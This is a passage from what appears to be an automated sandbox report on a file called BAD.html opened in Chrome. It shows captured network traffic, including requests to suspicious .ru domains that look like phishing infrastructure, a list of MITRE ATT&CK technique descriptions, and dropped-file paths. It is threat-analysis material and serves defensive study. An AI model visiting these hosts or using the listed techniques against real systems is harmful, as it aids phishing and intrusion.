2025-02-19 19:43:23 UTC	1369	IN	Data Raw: 22 6e 62 2d 6e 6f 22 2c 22 6e 6c 2d 6e 6c 22 2c 22 70 6c 2d 70 6c 22 2c 22 70 74 2d 62 72 22 2c 22 74 68 2d 74 68 22 2c 22 74 72 2d 74 72 22 2c 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 6e 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 6e 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 6e 2c 6f 2c 63 2c 6c 2c 67 2c 79 29 7b 76 61 72 20 73 3d 54 74 28 6e 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 68 3d 79 3f 22 3f Data Ascii: "nb-no","nl-nl","pl-pl","pt-br","th-th","tr-tr","ro-ro"];function Tt(e,t){var n="https://challenges.cloudflare.com";if(t){var o;n=(o=e["base-url"])!==null&&o!==void 0?o:n}return n}function Rt(e,t,n,o,c,l,g,y){var s=Tt(n,c),p=l?"h/".concat(l,"/"):"",h=y?"?
2025-02-19 19:43:23 UTC	1369	IN	Data Raw: 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 74 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 74 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 Data Ascii: s as a function")}function te(e,t){return te=Object.setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},te(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Obje
2025-02-19 19:43:23 UTC	1369	IN	Data Raw: 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 63 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 71 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 7a 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c Data Ascii: ,{constructor:{value:c,enumerable:!1,writable:!0,configurable:!0}}),te(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:qe(e)}function dr(e){var t=ze();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Refl
2025-02-19 19:43:23 UTC	1369	IN	Data Raw: 72 6d 61 6e 63 65 2e 6e 6f 77 3f 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3a 44 61 74 65 2e 6e 6f 77 28 29 7d 76 61 72 20 53 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 67 22 2c 22 2f 22 29 2c 6c 2c 67 2c 79 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 6c 3d 74 2e 70 61 72 61 6d 73 2e Data Ascii: rmance.now?performance.now():Date.now()}var St=function(e,t,n){var o=Tt(t.params,!1),c="h/".concat("g","/"),l,g,y="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((l=t.params.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49724	104.16.5.189	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:43:23 UTC	597	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://xq.intranchmar.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-19 19:43:24 UTC	697	IN	HTTP/1.1 200 OK Date: Wed, 19 Feb 2025 19:43:24 GMT Content-Type: image/png Content-Length: 937 Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=kgyvJTpFq.kLDsNdLUQ.vQ5zqanLt54ImsMqKquhHsk-1739994204-1.0.1.1-UaDcj.3QXYdO.gMHveMEJZp4zWirUhDeT4bmQ9RXyXWdS756ksQN1Vs3eILS6SqDUV0Yx52bwlml2vN5cvj3oA; path=/; expires=Wed, 19-Feb-25 20:13:24 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 9148bede9ce44261-EWR alt-svc: h3=":443"; ma=86400
2025-02-19 19:43:24 UTC	672	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-02-19 19:43:24 UTC	265	IN	Data Raw: a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d fe 77 23 bf 7e 8b c6 3c bd c1 67 0f 56 7a 91 a9 c6 c8 6f 40 1a 65 ce 9b fb 93 9b 1b b9 91 1b bf 01 83 32 f8 e3 ed 08 de 54 00 00 Data Ascii: _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=w#~<gVzo@e2T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49725	104.16.2.189	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:43:24 UTC	527	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=kgyvJTpFq.kLDsNdLUQ.vQ5zqanLt54ImsMqKquhHsk-1739994204-1.0.1.1-UaDcj.3QXYdO.gMHveMEJZp4zWirUhDeT4bmQ9RXyXWdS756ksQN1Vs3eILS6SqDUV0Yx52bwlml2vN5cvj3oA
2025-02-19 19:43:24 UTC	413	IN	HTTP/1.1 200 OK Date: Wed, 19 Feb 2025 19:43:24 GMT Content-Type: image/png Content-Length: 937 Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 9148bee37f7f72a4-EWR alt-svc: h3=":443"; ma=86400
2025-02-19 19:43:24 UTC	937	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49740	104.21.11.253	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:43:32 UTC	567	OUT	GET /bhanchod@jczwpfnk HTTP/1.1 Host: gbrqqq.v-bnhatn.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://xq.intranchmar.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://xq.intranchmar.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-19 19:43:34 UTC	832	IN	HTTP/1.1 200 OK Date: Wed, 19 Feb 2025 19:43:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=betcZ7fe%2B3MPrqywIR2wKJKIKC9Hq11vkfia3%2Bbl3EI6%2BJfvWYtjPWV6L%2FVPeWkYsz%2Bod4dLQWno%2FBZDDMd%2BUs4RDmnabpcynQa8CLY2MbzsU66fA3bwkDMOfnFGu7OGYiObOE8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9148bf179fb780d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1786&min_rtt=1739&rtt_var=746&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1145&delivery_rate=1379310&cwnd=234&unsent_bytes=0&cid=9e115f577ed311b7&ts=903&x=0"
2025-02-19 19:43:34 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-02-19 19:43:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49756	172.67.150.227	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:43:35 UTC	359	OUT	GET /bhanchod@jczwpfnk HTTP/1.1 Host: gbrqqq.v-bnhatn.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-19 19:43:36 UTC	822	IN	HTTP/1.1 200 OK Date: Wed, 19 Feb 2025 19:43:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4s5mU2DI3kc%2Fm9VuiHc4RGKlumxd8RHH6XF7bTNQVq%2BjzjURcadFfluu%2FFF67jMa95EmpRbKf0UbUFyc35WbhRaybmzUODSrKLfKS0WbyNGMPp6VAQo2cSb5mwN6M3WxXdXuygw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9148bf2828a75ae6-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6940&min_rtt=6931&rtt_var=2618&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=937&delivery_rate=416785&cwnd=32&unsent_bytes=0&cid=b00032f3b832670f&ts=730&x=0"
2025-02-19 19:43:36 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-02-19 19:43:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	14:43:17
Start date:	19/02/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\BAD.html
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	14:43:17
Start date:	19/02/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1252 --field-trial-handle=1952,i,6296554901105724967,14695421156858510046,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report BAD.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Data Obfuscation

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

Windows Analysis Report
BAD.html